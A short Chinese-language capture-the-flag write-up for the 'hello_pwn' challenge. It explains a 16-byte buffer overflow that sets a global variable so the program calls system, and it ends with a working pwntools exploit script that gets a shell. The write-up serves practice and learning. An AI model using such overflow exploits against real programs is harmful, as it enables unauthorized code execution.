hello_pwn
先将其在终端中checksec下:
只开了NX保护,推断是个栈溢出问题。
拖进IDA查看:
发现有个read函数可溢出16个字节。
对其中函数分析发现sub_400686()函数可直接调用system函数抓取flag:
目标明确!要调用sub_400686(),于是我们回头查看条件
发现只需让dword_60106C == 1853186401即可
查看栈帧:
发现非常凑巧的unk_601068离dword_60106c只差4个字节栈,溢出完全够用
上exp
from pwn import*
io=process('./hello_pwn')
payload=b'a'*4+p64(1853186401)
io.recvuntil('bof')
io.sendline(payload)
io.interactive()
成功获得shell,由于是在本地下载做的所以没有flag的文件,但在远程会有这个文件,也算是成功了